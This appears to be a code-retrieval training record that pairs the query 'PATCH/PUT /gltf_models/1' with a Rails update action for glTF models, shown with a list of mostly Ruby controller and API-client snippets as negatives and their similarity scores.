"def create\n @device_model = DeviceModel.new(device_model_params)\n\n respond_to do |format|\n if @device_model.save\n format.html { redirect_to @device_model, notice: 'Device model was successfully created.' }\n format.json { render :show, status: :created, location: @device_model }\n else\n format.html { render :new }\n format.json { render json: @device_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_model\n unless @model\n @model = create_model\n attach_model\n end\n @model\n end",
"def create\n @trial_model = TrialModel.new(trial_model_params)\n\n respond_to do |format|\n if @trial_model.save\n format.html { redirect_to @trial_model, notice: 'Trial model was successfully created.' }\n format.json { render :show, status: :created, location: @trial_model }\n else\n format.html { render :new }\n format.json { render json: @trial_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def relaxed_models=(value)\n @relaxed_models = value\n end",
"def create\n\n # puts \"---------------------\"\n # puts workflow_params.to_json\n\n # workflow_attributes = workflow_params\n # step_definitions_attributes = workflow_attributes.delete(\"step_definitions\")\n\n # @workflow = Workflow.new(workflow_attributes)\n\n # @workflow.step_definitions = StepDefinition.createStepDefinitions(step_definitions_attributes)\n\n @workflow = Workflow.new(workflow_params)\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render :show, status: :created, location: @workflow }\n else\n format.html { render :new }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
"def create\n @model = ClientService.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.json { render :show, status: :created, location: @model }\n else\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @modeltype = Modeltype.new(modeltype_params)\n\n respond_to do |format|\n if @modeltype.save\n format.html { redirect_to @modeltype, notice: 'Modeltype was successfully created.' }\n format.json { render :show, status: :created, location: @modeltype }\n else\n format.html { render :new }\n format.json { render json: @modeltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_solr_core(model)\n url = \"#{DatastaxRails::Base.solr_base_url}/admin/cores?action=CREATE&name=#{DatastaxRails::Base.config[:keyspace]}.#{model.column_family}\"\n say \"Posting create command to '#{url}'\", :subitem\n system(\"curl -s -X POST '#{url}' -H 'Content-type:text/xml; charset=utf-8' &\")\n end",
"def list_models request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_models_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::ListModelsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def create\n @gnvl = Gnvl.new(gnvl_params)\n\n respond_to do |format|\n if @gnvl.save\n format.html { redirect_to @gnvl, notice: 'Gnvl was successfully created.' }\n format.json { render :show, status: :created, location: @gnvl }\n else\n format.html { render :new }\n format.json { render json: @gnvl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_models_for_make_id\n render json: vehicle_service.get_models_for_make_id(params[:make_id])\n end",
"def create\n @tune = Tune.new(parse_tune)\n\n respond_to do |format|\n if @tune.save\n format.html { redirect_to @tune, notice: 'Tune was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tune }\n else\n format.html { render action: 'new' }\n format.json { render json: @tune.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:vehicle_model_id, :year, :odometer,\n :license_plate, :engine_number, :drive,\n :chasis_number, :transmission, :engine_type,\n :passenger_capacity, :air_conditioning,\n :airbags_quantity, :door_quantity,\n :steering, :body_type, :comment, :status,\n images: [])\n end"
] | [
"0.6156778",
"0.60116416",
"0.5969718",
"0.5738165",
"0.57204694",
"0.5691531",
"0.56770587",
"0.5587047",
"0.5572569",
"0.55326736",
"0.54894453",
"0.5426242",
"0.54190004",
"0.5395249",
"0.53938514",
"0.5375051",
"0.53728",
"0.53425467",
"0.53425467",
"0.5333202",
"0.52785635",
"0.527221",
"0.52689743",
"0.5243147",
"0.5237847",
"0.52344596",
"0.52251667",
"0.52251667",
"0.5177195",
"0.5139998",
"0.5128486",
"0.5126186",
"0.5122411",
"0.5121958",
"0.51103646",
"0.5107259",
"0.5095846",
"0.50949824",
"0.50798994",
"0.50552964",
"0.50379914",
"0.50366795",
"0.50216466",
"0.5018596",
"0.49952284",
"0.4994007",
"0.49938533",
"0.49865165",
"0.49850172",
"0.497684",
"0.4975224",
"0.49628377",
"0.49614087",
"0.49609834",
"0.49409696",
"0.4940327",
"0.49398488",
"0.49393985",
"0.49370107",
"0.4935404",
"0.4935404",
"0.49306816",
"0.49135625",
"0.49111536",
"0.4907544",
"0.49066895",
"0.49049658",
"0.49038795",
"0.4903515",
"0.4900292",
"0.4900075",
"0.4899221",
"0.48972112",
"0.48896247",
"0.488838",
"0.48778668",
"0.48756972",
"0.48753598",
"0.48743427",
"0.48743427",
"0.48708716",
"0.48617384",
"0.48605135",
"0.48545524",
"0.4853835",
"0.4852911",
"0.48496854",
"0.48489296",
"0.4848427",
"0.4844726",
"0.48384652",
"0.48342666",
"0.48338223",
"0.4829496",
"0.48294708",
"0.48256597",
"0.4825452",
"0.48209378",
"0.48204872",
"0.48152944"
] | 0.64486474 | 0 |
PATCH/PUT /gltf_models/1 PATCH/PUT /gltf_models/1.json | def update
respond_to do |format|
if @gltf_model.update(gltf_model_params)
format.html { redirect_to @gltf_model, notice: 'Gltf model was successfully updated.' }
format.json { render :show, status: :ok, location: @gltf_model }
else
format.html { render :edit }
format.json { render json: @gltf_model.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def patch_model dataset_id, model_id, patched_model_gapi, etag = nil\n patch_with_backoff = false\n options = { skip_deserialization: true }\n if etag\n options[:header] = { \"If-Match\" => etag }\n # The patch with etag operation is considered idempotent\n patch_with_backoff = true\n end\n execute backoff: patch_with_backoff do\n json_txt = service.patch_model @project, dataset_id, model_id, patched_model_gapi, options: options\n JSON.parse json_txt, symbolize_names: true\n end\n end",
"def update\n @model = Model.find(params[:id])\n # @model.name = \"test\"\n @model.scale = 1\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n update_annotations(params[:tag_list], @model)\n update_sharing_policies @model\n update_relationships(@model, params)\n respond_to do |format|\n if @model.update(model_params)\n flash[:notice] = \"#{t('model')} metadata was successfully updated.\"\n format.html { redirect_to model_path(@model) }\n format.json {render json: @model, include: [params[:include]]}\n else\n format.html { render action: 'edit' }\n format.json { render json: json_api_errors(@model), status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update_bridge_model(name, body={}, headers=default_headers)\n @logger.info(\"Updating the \\\"#{name}\\\" Bridge Model.\")\n put(\"#{@api_url}/models/#{encode(name)}\", body, headers)\n end",
"def update!(**args)\n @endpoint = args[:endpoint] if args.key?(:endpoint)\n @model_display_name = args[:model_display_name] if args.key?(:model_display_name)\n @model_version = args[:model_version] if args.key?(:model_version)\n end",
"def update_models(json)\n if json.is_a?(Array)\n model_ids = []\n for json_part in json\n model = save_model_with(json_part)\n model_ids << \"#{model.id}\".to_i if model.present?\n end\n where(:id).in model_ids\n else\n model = save_model_with(json)\n return nil if model.blank?\n\n find(\"#{model.id}\".to_i)\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @feature_model = FeatureModel.find(params[:id])\n\n respond_to do |format|\n if @feature_model.update_attributes(params[:feature_model])\n format.html { redirect_to @feature_model, :notice => 'Feature model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @feature_model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @operation = Operation.find(params[:id])\n params[:operation][\"inputs\"] = filter_distribution_ids(params[:operation][\"inputs\"])\n @model = Model.find(params[:model_id])\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n format.html { redirect_to user_model_path(@model.user,@model), notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @foo_model = FooModel.find(params[:id])\n\n respond_to do |format|\n if @foo_model.update_attributes(params[:foo_model])\n format.html { redirect_to @foo_model, notice: 'Foo model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foo_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @model.update(model_params)\n format.json { render :show, status: :ok, location: @model }\n else\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(model_data)\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @auto_model.update(auto_model_params)\n format.html { redirect_to @auto_model, notice: 'Auto model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @auto_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::Model.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @model_info = args[:model_info] if args.key?(:model_info)\n @self_link = args[:self_link] if args.key?(:self_link)\n @training_status = args[:training_status] if args.key?(:training_status)\n end",
"def update\n respond_to do |format|\n if @linear_model.update(linear_model_params)\n format.html { redirect_to @linear_model, notice: 'Linear model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @linear_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @base_model_id = args[:base_model_id] if args.key?(:base_model_id)\n @budget_milli_node_hours = args[:budget_milli_node_hours] if args.key?(:budget_milli_node_hours)\n @disable_early_stopping = args[:disable_early_stopping] if args.key?(:disable_early_stopping)\n @model_type = args[:model_type] if args.key?(:model_type)\n @multi_label = args[:multi_label] if args.key?(:multi_label)\n @tunable_parameter = args[:tunable_parameter] if args.key?(:tunable_parameter)\n @uptrain_base_model_id = args[:uptrain_base_model_id] if args.key?(:uptrain_base_model_id)\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n # remove protected columns (including a \"link\" to content blob - actual data cannot be updated!)\n if params[:model]\n [:contributor_id, :contributor_type, :original_filename, :content_type, :content_blob_id, :created_at, :updated_at, :last_used_at].each do |column_name|\n params[:model].delete(column_name)\n end\n \n # update 'last_used_at' timestamp on the Model\n params[:model][:last_used_at] = Time.now\n end\n\n update_annotations @model\n publication_params = params[:related_publication_ids].nil?? [] : params[:related_publication_ids].collect { |i| [\"Publication\", i.split(\",\").first]}\n\n @model.attributes = params[:model]\n\n if params[:sharing]\n @model.policy_or_default\n @model.policy.set_attributes_with_sharing params[:sharing], @model.projects\n end\n\n experiment_ids = params[:experiment_ids] || []\n respond_to do |format|\n if @model.save\n\n # update attributions\n Relationship.create_or_update_attributions(@model, params[:attributions])\n \n # update related publications\n Relationship.create_or_update_attributions(@model,publication_params, Relationship::RELATED_TO_PUBLICATION)\n \n #update creators\n AssetsCreator.add_or_update_creator_list(@model, params[:creators])\n \n flash[:notice] = 'Model metadata was successfully updated.'\n format.html { redirect_to model_path(@model) }\n # Update new experiment_asset\n Experiment.find(experiment_ids).each do |experiment|\n if experiment.can_edit?\n experiment.relate(@model)\n end\n end\n #Destroy ExperimentAssets that aren't needed\n experiment_assets = @model.experiment_assets\n experiment_assets.each do |experiment_asset|\n if experiment_asset.experiment.can_edit? and !experiment_ids.include?(experiment_asset.experiment_id.to_s)\n ExperimentAsset.destroy(experiment_asset.id)\n end\n end\n deliver_request_publish_approval params[:sharing], @model\n else\n format.html {\n render :action => \"edit\"\n }\n end\n end\n end",
"def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end",
"def update\n @model = Model.find(params[:id])\n\n respond_to do |format|\n if @model.update_attributes(model_params)\n format.html { redirect_to [:admin, @model], notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fakemodel.update(fakemodel_params)\n format.html { redirect_to @fakemodel, notice: 'Fakemodel was successfully updated.' }\n format.json { render :show, status: :ok, location: @fakemodel }\n else\n format.html { render :edit }\n format.json { render json: @fakemodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @model = args[:model] if args.key?(:model)\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n\n respond_to do |format|\n if @model.update(model_params)\n format.html { redirect_to @model, flash: {success:_(\"Modello modificato con successo!\")} }\n format.json { head :no_content }\n else\n format.html { render \"forms/new_edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to user_model_path(@model.user, @model), notice: 'model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n if @go_slim.update_attributes(params[:go_slim])\n format.html { redirect_to @go_slim, notice: 'Go slim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_slim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(params)\n update_model(params)\n end",
"def update!(**args)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n end",
"def update!(**args)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n end",
"def update(model, id, opts = {})\n name = model_name(model)\n do_restful_action(\"update\", name) do\n self.nagyo[\"#{name}/#{URI.encode(id)}/edit\"].put(:format => :js, name => opts)\n end\n end",
"def update\n @model = Model.find(params[:id])\n\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to(models_path, :notice => t(:model_updated)) }\n format.xml { head :ok }\n else\n @title = t :editing_model\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_update_model_with_form()\n # Parameters for the API call\n model = Employee.from_hash(APIHelper.json_deserialize(\n '{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"u'\\\n 'id\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9'\\\n '571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDay'\\\n '\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"perso'\\\n 'nType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 531'\\\n ', S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-1'\\\n '3T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development\"'\\\n ',\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"d'\\\n 'ependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, '\\\n 'S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T'\\\n '14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H '\\\n '# 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994'\\\n '-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",\"'\\\n 'promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":51474'\\\n '83649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13'\\\n '\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age'\\\n '\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"199'\\\n '4-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 0'\\\n '6 Nov 1994 08:49:37 GMT\"}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.update_model_with_form(model)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def update\n @<%= model_name %> = <%= upcase_model_name %>.find(params[:id])\n\n respond_to do |format|\n if @<%= model_name %>.update_attributes(params[:model])\n flash[:notice] = '<%= upcase_model_name %> was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @<%= model_name %>.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_update_model_array_with_form()\n # Parameters for the API call\n models = APIHelper.json_deserialize(\n '[{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"'\\\n 'uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.'\\\n '9571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDa'\\\n 'y\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"pers'\\\n 'onType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 53'\\\n '1, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-'\\\n '13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development'\\\n '\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"'\\\n 'dependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531,'\\\n ' S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13'\\\n 'T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H'\\\n ' # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"199'\\\n '4-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",'\\\n '\"promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\"},{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"ad'\\\n 'dress\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birtht'\\\n 'ime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Softwa'\\\n 're Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesda'\\\n 'y\",\"Friday\"],\"boss\":{\"personType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":51'\\\n '47483645,\"address\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02'\\\n '-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"departm'\\\n 'ent\":\"Software Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Mon'\\\n 'day\",\"Tuesday\",\"Friday\"],\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\",\"promotedAt\":1484719381},\"dependents\":[{\"name'\\\n '\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123'\\\n '412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"'\\\n '},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H # 531, S # 20\",\"ui'\\\n 'd\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.95'\\\n '71247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\"}]'\n ).map { |element| Employee.from_hash(element) }\n\n # Perform the API call through the SDK function\n result = @controller.update_model_array_with_form(models)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def put!\n request! :put\n end",
"def update!(**args)\n @base_model_id = args[:base_model_id] if args.key?(:base_model_id)\n @budget_milli_node_hours = args[:budget_milli_node_hours] if args.key?(:budget_milli_node_hours)\n @model_type = args[:model_type] if args.key?(:model_type)\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @my_model = MyModel.find(params[:id])\n \n respond_to do |format|\n if @my_model.update_attributes(params[:my_model])\n format.html { redirect_to @my_model, notice: 'My model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to [:administration, @model], notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model = Model.find(params[:id])\n \n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to(admin_model_path(@model), :notice => 'Model was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @model.update(model_params)\n format.html { redirect_to @model, notice: \"Model was successfully updated.\" }\n format.json { render :show, status: :ok, location: @model }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @encryption_spec = args[:encryption_spec] if args.key?(:encryption_spec)\n @end_time = args[:end_time] if args.key?(:end_time)\n @error = args[:error] if args.key?(:error)\n @input_data_config = args[:input_data_config] if args.key?(:input_data_config)\n @labels = args[:labels] if args.key?(:labels)\n @model_id = args[:model_id] if args.key?(:model_id)\n @model_to_upload = args[:model_to_upload] if args.key?(:model_to_upload)\n @name = args[:name] if args.key?(:name)\n @parent_model = args[:parent_model] if args.key?(:parent_model)\n @start_time = args[:start_time] if args.key?(:start_time)\n @state = args[:state] if args.key?(:state)\n @training_task_definition = args[:training_task_definition] if args.key?(:training_task_definition)\n @training_task_inputs = args[:training_task_inputs] if args.key?(:training_task_inputs)\n @training_task_metadata = args[:training_task_metadata] if args.key?(:training_task_metadata)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def update!(**args)\n @model_type = args[:model_type] if args.key?(:model_type)\n end",
"def update!(**args)\n @model_type = args[:model_type] if args.key?(:model_type)\n end",
"def update!(**args)\n @model_type = args[:model_type] if args.key?(:model_type)\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def updateModels(json)\n if json.is_a?(Array)\n models = []\n for jsonPart in json\n model = buildModel(jsonPart)\n if model.present?\n model.save\n models << model\n end\n end\n return models\n else\n model = buildModel(json)\n if model.present?\n model.save\n return model\n end\n end\n end",
"def update\n# respond_to do |format|\n# if @req.update(req_params)\n format.json { render :json => {:status => 'success'}}\n# format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n# format.json { render :show, status: :ok, location: @req }\n# else\n format.json { render :json => {:status => 'failed'}}\n# format.html { render :edit }\n# format.json { render json: @req.errors, status: :unprocessable_entity }\n# end\n# end\n end",
